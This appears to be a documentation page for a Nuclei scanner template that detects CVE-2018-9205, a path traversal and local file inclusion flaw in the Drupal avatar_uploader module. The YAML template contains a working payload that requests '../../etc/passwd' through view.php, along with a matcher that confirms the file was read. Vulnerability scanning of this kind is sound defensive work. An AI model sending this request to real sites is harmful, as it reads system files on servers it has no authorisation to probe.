Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion
ID: CVE-2018-9205
Severity: high
Author: daffainfo
Tags: cve,cve2018,lfi,drupal,edb
Description
Section titled “Description”In avatar_uploader v7.x-1.0-beta8 the view.php program doesn’t restrict file paths, allowing unauthenticated users to retrieve arbitrary files.
YAML Source
Section titled “YAML Source”id: CVE-2018-9205
info: name: Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion author: daffainfo severity: high description: In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files. remediation: Upgrade to the latest version of avatar_uploader. reference: - https://www.exploit-db.com/exploits/44501 - https://nvd.nist.gov/vuln/detail/CVE-2018-9205 - https://www.drupal.org/project/avatar_uploader/issues/2957966 - https://www.drupal.org/project/avatar_uploader - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-9205 cwe-id: CWE-22 epss-score: 0.02175 epss-percentile: 0.89345 cpe: cpe:2.3:a:drupal:avatar_uploader:7.x-1.0:beta8:*:*:*:*:*:* metadata: max-request: 1 vendor: drupal product: avatar_uploader shodan-query: http.component:"drupal" tags: cve,cve2018,lfi,drupal,edb
http: - method: GET path: - "{{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd"
matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 490a0046304402200d1d14769c152ab4c797357af70e2680a8db3a7994a1ec7b2e7bb836888f1ef702205ef6a003832319814010726a1ceb7ca15bc8727ae0be46a12d0060e41b92cad4:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-9205.yaml"